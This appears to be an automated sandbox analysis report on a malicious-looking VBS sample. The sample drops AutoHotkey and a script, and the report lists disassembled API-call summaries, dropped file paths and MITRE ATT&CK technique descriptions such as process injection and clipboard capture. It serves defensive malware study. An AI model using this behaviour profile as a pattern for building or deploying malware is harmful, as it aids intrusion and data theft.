Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: _free
String ID: An object.$Invalid value.
API String ID: 269201875-731773362
Opcode ID: 43c5130273e3b50bcf858397e4e1b643dfddc0baefce76be0c4493b34f4c96b1
Instruction ID: 9951c2e04d630b0db94df0ec7473f3ecfde6cc0f8c61dc40ddec4f426a87d1f4
Opcode Fuzzy Hash: 43c5130273e3b50bcf858397e4e1b643dfddc0baefce76be0c4493b34f4c96b1
Instruction Fuzzy Hash: A211AC70504B815BC731DF28D008B97BBE0AF55314F088E5EE0D68B791C3A8FA89CB96

Uniqueness

Uniqueness Score: -1.00%

Function 004814F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,Layout File,00000000,00000000), ref: 00481508
RegCloseKey.ADVAPI32(00000000,?,Layout File,00000000,00000000), ref: 00481513

Strings

Layout File, xrefs: 004814F0, 004814FE

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CloseQueryValue
String ID: Layout File
API String ID: 3356406503-1055935358
Opcode ID: 78f30aa957dddf8067f314ef7a1daf016dab6a80fef24d3b39fa77404847fce2
Instruction ID: 4cb2bb99f9f12cc88d4c308a13ed4318a889be12cbef2e7636e31a1c10d332f1
Opcode Fuzzy Hash: 78f30aa957dddf8067f314ef7a1daf016dab6a80fef24d3b39fa77404847fce2
Instruction Fuzzy Hash: B90144B0214601AAD724EF69D88471BB7E8EF98350F104C2FE487C32A0E77498818759

Uniqueness

Uniqueness Score: -1.00%

Function 0044B788 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(status AHK_PlayMe mode,?,00000208,00000000), ref: 0044B7EC
mciSendStringW.WINMM(close AHK_PlayMe,00000000,00000000,00000000), ref: 0044B813

Strings

status AHK_PlayMe mode, xrefs: 0044B7E7
stopped, xrefs: 0044B790

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: SendString
String ID: status AHK_PlayMe mode$stopped
API String ID: 890592661-3192028569
Opcode ID: d79109f9da8f7a02a214fd08ee76e48582b8cd1eb4115f964b35b508fb7cb5ec
Instruction ID: 0174611f71dcfae99c37b15dba9e23276e2012e44b48fb816364da9649d55bf2
Opcode Fuzzy Hash: d79109f9da8f7a02a214fd08ee76e48582b8cd1eb4115f964b35b508fb7cb5ec
Instruction Fuzzy Hash: D1F0F62564030645FA20AB10CC82BF77362EFF0B58F44043FEA445B291F36AD589C2EA

Uniqueness

Uniqueness Score: -1.00%

Function 00449321 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00449337

Part of subcall function 0049A18D: RtlFreeHeap.NTDLL(00000000,00000000,?,0049DF53,00000000,?,0049F727,?,0047FFCE), ref: 0049A1A3
Part of subcall function 0049A18D: GetLastError.KERNEL32(00000000,?,0049DF53,00000000,?,0049F727,?,0047FFCE), ref: 0049A1B5

_malloc.LIBCMT ref: 00449346

Strings

Out of memory., xrefs: 00449388

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: ErrorFreeHeapLast_free_malloc
String ID: Out of memory.
API String ID: 1323848136-4087320997
Opcode ID: dd0031c7b7fd3af9da1d7b6eeb367ef518b3abc0634d045907c2d6f1a48bae3a
Instruction ID: db5275d4cf7d323973f8cb355723b087375f29b9c77ac0f5b2352752b8431e50
Opcode Fuzzy Hash: dd0031c7b7fd3af9da1d7b6eeb367ef518b3abc0634d045907c2d6f1a48bae3a
Instruction Fuzzy Hash: 1F018F606482008BA310DF15C085A6BF7E5BF9A304F29845BE8864B392D679CC06A79F

Uniqueness

Uniqueness Score: -1.00%

Function 00474670 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

GetPropW.USER32(?,ahk_dlg), ref: 0047467D

Part of subcall function 00474090: GetClientRect.USER32(?,?), ref: 004740A0
Part of subcall function 00474090: GetWindowLongW.USER32(?,000000F0), ref: 004740A9
Part of subcall function 00474090: SendMessageW.USER32(?,0000130A,00000000,?), ref: 004740CC
Part of subcall function 00474090: SendMessageW.USER32(?,0000132C,00000000,00000000), ref: 004740D8
Part of subcall function 00474090: MapWindowPoints.USER32(?,?,?,00000002), ref: 00474144

MoveWindow.USER32(00000000,?,?,?,?,00000001,?,?), ref: 004746B3

Strings

ahk_dlg, xrefs: 00474677

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Window$MessageSend$ClientLongMovePointsPropRect
String ID: ahk_dlg
API String ID: 1880356802-2093416220
Opcode ID: 3ec4515c7ba7bf5f41e3fe3a98a2765d5bc985019ff9f1c11a9f93aca9c388ec
Instruction ID: 5b79c277d9c139bdfc66c1d45455f7a2d468c23251e53f03ce58e45ab488d4dc
Opcode Fuzzy Hash: 3ec4515c7ba7bf5f41e3fe3a98a2765d5bc985019ff9f1c11a9f93aca9c388ec
Instruction Fuzzy Hash: EEF08275600101BFD200DB28DC45DBBBBEDEFC5750F00852DF94883215EA34EC0586AA

Uniqueness

Uniqueness Score: -1.00%

Function 00401060 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25clipboardCOMMON

Download Yara Rule

APIs

IsClipboardFormatAvailable.USER32(0000000D), ref: 00401072
IsClipboardFormatAvailable.USER32(0000000F), ref: 0040107A

Strings

<<>>, xrefs: 0040107E

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: AvailableClipboardFormat
String ID: <<>>
API String ID: 778505046-913080871
Opcode ID: 4a19efab0ca6584a156749920ab6cbbabaed7f2400ee8025b0f199901d499216
Instruction ID: 5fb3b3fdd82dd28380a9f92074f7879e06bc5db9abaeb92cf32bf7eb19360875
Opcode Fuzzy Hash: 4a19efab0ca6584a156749920ab6cbbabaed7f2400ee8025b0f199901d499216
Instruction Fuzzy Hash: 70E02621B0115182EBB0667DBE007972B98AB44760B01023BF8E8EB6E4D32CCC8902EC

Uniqueness

Uniqueness Score: -1.00%

Function 004052E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22clipboardCOMMON

Download Yara Rule

APIs

GlobalUnlock.KERNEL32(00000000,00404F56,?,?,00401093), ref: 004052EF
CloseClipboard.USER32 ref: 004052FC

Strings

GlobalLock, xrefs: 0040531E

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: ClipboardCloseGlobalUnlock
String ID: GlobalLock
API String ID: 3794156920-2848605275
Opcode ID: e7e38feda9dd96c934ed051bb25a13313b11dd829941e4039fbdcf45bb98ba71
Instruction ID: 647fa98da61160dc23ec2bf0c031abd0dda16366605727ad166e2ca1ea1bfed9
Opcode Fuzzy Hash: e7e38feda9dd96c934ed051bb25a13313b11dd829941e4039fbdcf45bb98ba71
Instruction Fuzzy Hash: B4E0E534400B02DBE7345F59D458397BAF4EF9470AFA4442FA88652BE0DBFC9888CE59

Uniqueness

Uniqueness Score: -1.00%

Function 004333CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 004333E2
PostMessageW.USER32(00000000), ref: 004333E9

Strings

Shell_TrayWnd, xrefs: 004333DD

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: FindMessagePostWindow
String ID: Shell_TrayWnd
API String ID: 2578315405-2988720461
Opcode ID: 5dd1c4cfd29155914440fbc0c99e798e8682c963165954114220cf8ec9ac1bcd
Instruction ID: 7868fb60b2e8bce114be116589b4d80ef0627ffa0cce05ad27913bcc9cdab135
Opcode Fuzzy Hash: 5dd1c4cfd29155914440fbc0c99e798e8682c963165954114220cf8ec9ac1bcd
Instruction Fuzzy Hash: E1E08C30F84200BBE5082220DC4BF9436411B0A728F340222F622AE2F1C6FE9442462A

Uniqueness

Uniqueness Score: -1.00%

Function 00433416 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00433429
PostMessageW.USER32(00000000), ref: 00433430

Strings

Shell_TrayWnd, xrefs: 00433424

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: FindMessagePostWindow
String ID: Shell_TrayWnd
API String ID: 2578315405-2988720461
Opcode ID: ae9f158219554506275c2422ee12b237d66fcdf0c638bb5b48c1e5c6da8317f2
Instruction ID: 3e0eb104794c611f6d2b9541cbfbbb479c7365e6a2e8b9b232b6b8b1d830c8f9
Opcode Fuzzy Hash: ae9f158219554506275c2422ee12b237d66fcdf0c638bb5b48c1e5c6da8317f2
Instruction Fuzzy Hash: 56E08C30F84200BBE50823209C4BF8436412B0A728F380222F611AE2F5C2FED482462E

Uniqueness

Uniqueness Score: -1.00%

Function 0044F420 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetSystemDefaultUILanguage.KERNEL32 ref: 0044F429
__swprintf.LIBCMT ref: 0044F439

Strings

%04hX, xrefs: 0044F433

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: DefaultLanguageSystem__swprintf
String ID: %04hX
API String ID: 1359733045-3571374829
Opcode ID: d7dfeee0e7d40381a36eda821fdb6975b8c3b13349a131750efeef8b9414e9bb
Instruction ID: 0343d19ab8ea9d7c74cc6f42205d099c5a35b942ecd3390b69a39985a0adad91
Opcode Fuzzy Hash: d7dfeee0e7d40381a36eda821fdb6975b8c3b13349a131750efeef8b9414e9bb
Instruction Fuzzy Hash: 99C0127691213017D91126147842BBB7A588B85714F494067FC40A6241C5288C5195FE

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ndvdikok.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\NwiQ\AutoHotkey.exe

C:\NwiQ\file.zip

C:\NwiQ\script.ahk

C:\NwiQ\test.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\fykbmgsz[1]

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms

C:\Users\user\AppData\Roaming\heeeaAd

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
ndvdikok.vbs

Function 04846735 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 186
registrystringlibraryCOMMON

Function 00481EC0 Relevance: 21.2, APIs: 14, Instructions: 174
windowlibraryCOMMON

Function 0484683F Relevance: 15.1, APIs: 10, Instructions: 102
stringlibrarythreadCOMMON

Function 0041E0D0 Relevance: 58.0, APIs: 24, Strings: 9, Instructions: 253
windowregistryCOMMON

Function 0489EB61 Relevance: 44.1, APIs: 3, Strings: 22, Instructions: 393
sleepthreadCOMMON

Function 00404370 Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 252
COMMON

Function 0044C070 Relevance: 28.5, APIs: 15, Strings: 1, Instructions: 457
COMMON

Function 004347FA Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 253
windowclipboardCOMMON

Function 00434E42 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 238
registrywindowclipboardCOMMON

Function 00432E18 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 205
windowclipboardCOMMON

Function 0041E6C0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 146
timeCOMMON

Function 04876655 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 29
libraryCOMMON

Function 00434CF9 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 207
registrywindowclipboardCOMMON

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

